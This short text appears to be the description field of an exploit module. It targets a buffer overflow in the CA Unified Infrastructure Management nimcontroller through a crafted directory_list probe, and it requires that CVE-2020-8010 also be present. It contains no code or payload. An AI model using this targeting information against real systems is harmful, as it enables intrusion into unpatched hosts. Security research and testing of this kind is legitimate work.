          This module exploits a buffer overflow within the CA Unified Infrastructure Management nimcontroller.
          The vulnerability occurs in the robot (controller) component when sending a specially crafted directory_list
          probe.

          Technically speaking the target host must also be vulnerable to CVE-2020-8010 in order to reach the
          directory_list probe.
